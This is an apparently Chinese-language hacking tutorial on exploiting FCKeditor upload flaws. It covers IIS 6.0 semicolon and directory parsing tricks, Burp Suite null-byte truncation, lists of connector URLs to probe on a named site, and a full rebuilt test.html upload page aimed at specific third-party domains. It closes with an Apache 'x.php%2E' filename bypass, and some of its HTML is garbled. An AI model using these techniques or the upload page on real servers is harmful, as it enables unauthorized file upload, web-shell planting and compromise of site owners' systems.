先看版本
如果是iis6.0 上传两次 1.asp;.jpg 或者通过 创建1.asp目录(有方法可以试着突破点变下画线)
或者直接上传 1.asp;jpg
如果不是iis6.0 利用burpsuite截包
图片
上传 1.asp;jpg 利用burpsuite 将分号变成空格 再去对应的hex 20改成00 保存 利用%00 截断分号两次
如果上传的 test 页面被删除
http://www.xxxx.com/fckeditor/editor/filemanager/browser/default/connectors/test.html
http://www.xxxx.com/fckeditor/editor/filemanager/browser/default/connectors/uploadtest.html
首先看一下网站的这个页面
http://www.keio.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
http://www.keio.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
http://www.keio.com/fckeditor/editor/filemanager/connectors/php/connector.php
http://www.keio.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp
这个页面存在不存在
存在 本地构造test页面 将下面里 代码修改成目标的 地址
Fckeditor本地构造TEST.HTML上传
自从以前暴了TEST.HTML的上传0day以后,好多站长们多把TEST.HTML给删了。可是上传的
文件没删。这样的话可以自己在构造一个。
把以下代码保存成TEST.HTML就行了。然后修改里面的上传文件。
<!--
* FCKeditor - The text editor for Internet - http://www.fckeditor.net
* Copyright (C) 2003-2007 Frederico Caldeira Knabben
*
* == BEGIN LICENSE ==
*
* Licensed under the terms of any of the following licenses at your
* choice:
*
* - GNU General Public License Version 2 or later (the "GPL")
* http://www.gnu.org/licenses/gpl.html
*
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
* http://www.gnu.org/licenses/lgpl.html
*
* - Mozilla Public License Version 1.1 or later (the "MPL")
* http://www.mozilla.org/MPL/MPL-1.1.html
*
* == END LICENSE ==
*
* Test page for the File Browser connectors.
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FCKeditor - Connectors Tests</title>
<script type="text/javascript">
function BuildBaseUrl( command )
{
var sUrl =
document.getElementById('cmbConnector').value +
'?Command=' + command +
'&Type=' + document.getElementById('cmbType').value +
'&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;
return sUrl ;
}
function SetFrameUrl( url )
{
document.getElementById('eRunningFrame').src = url ;
document.getElementById('eUrl').innerHTML = url ;
}
function GetFolders()
{
SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;
return false ;
}
function GetFoldersAndFiles()
{
SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;
return false ;
}
function CreateFolder()
{
var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;
if ( ! sFolder )
return false ;
var sUrl = BuildBaseUrl( 'CreateFolder' ) ;
sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;
SetFrameUrl( sUrl ) ;
return false ;
}
function OnUploadCompleted( errorNumber, fileName )
{
switch ( errorNumber )
{
case 0 :
alert( 'File uploaded with no errors' ) ;
break ;
case 201 :
GetFoldersAndFiles() ;
alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;
break ;
case 202 :
alert( 'Invalid file' ) ;
break ;
default :
alert( 'Error on file upload. Error number: ' + errorNumber ) ;
break ;
}
}
this.frames.frmUpload = this ;
function SetAction()
{
var sUrl = BuildBaseUrl( 'FileUpload' ) ;
document.getElementById('eUrl').innerHTML = sUrl ;
document.getElementById('frmUpload').action = sUrl ;
}
</script>
</head>
<body>
<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
<tr>
<td>
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td>
Connector:<br />
<select id="cmbConnector" name="cmbConnector">
<option value="http://www.nst90.com/editor/filemanager/connectors/asp/connector.asp" selected="selected">ASP</option>
<option value="ASP.Net</option'>http://zjmyjs.com/editor/filemanager/connectors/aspx/connector.aspx">ASP.Net</option>
<option value="cfm/connector.cfm">ColdFusion</option>
<option value="lasso/connector.lasso">Lasso</option>
<option value="perl/connector.cgi">Perl</option>
<option value="PHP</option'>http://zjmyjs.com/editor/filemanager/connectors/php/connector.php">PHP</option>
<option value="py/connector.py">Python</option>
</select>
</td>
<td>
</td>
<td>
Current Folder<br />
<input id="txtFolder" type="text" value="/" name="txtFolder" /></td>
<td>
</td>
<td>
Resource Type<br />
<select id="cmbType" name="cmbType">
<option value="File" selected="selected">File</option>
<option value="Image">Image</option>
<option value="Flash">Flash</option>
<option value="Media">Media</option>
<option value="Invalid">Invalid Type (for testing)</option>
</select>
</td>
</tr>
</table>
<br />
<table cellspacing="0" cellpadding="0" border="0">
<tr>
<td valign="top">
<a href="#" Folders</a></td>
<td>
</td>
<td valign="top">
<a href="#" Folders and Files</a></td>
<td>
</td>
<td valign="top">
<a href="#" Folder</a></td>
<td>
</td>
<td valign="top">
<form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">
File Upload<br />
<input id="txtFileUpload" type="file" name="NewFile" />
<input type="submit" value="Upload" />
</form>
</td>
</tr>
</table>
<br />
URL: <span id="eUrl"></span>
</td>
</tr>
<tr>
<td height="100%" valign="top">
<iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"
height="100%"></iframe>
</td>
</tr>
</table>
</body>
</html>
附加:关于FCK的
这是XXX发给我他自己录的一段教程,通常FCK编辑器的漏洞挖掘大多数都已经被人们所熟知。有利用IIS漏洞又或者APACHE解析漏洞。
总之一句话,能让大家知道的都是已经公布的,不得不说,现在的网站管理还是很变态的。经过XXX多次的尝试,发现了一个APACHe 可以利用的解析漏洞:
普通的限制文件名上传会变“.”为“_”即便有时候二次上传甚至N次上传都没有用
我们可以利用IE连接的特性这样命名"x.php%2E"
%2E即转换城URL后连接的“.”这样就达到了绕过限制的效果。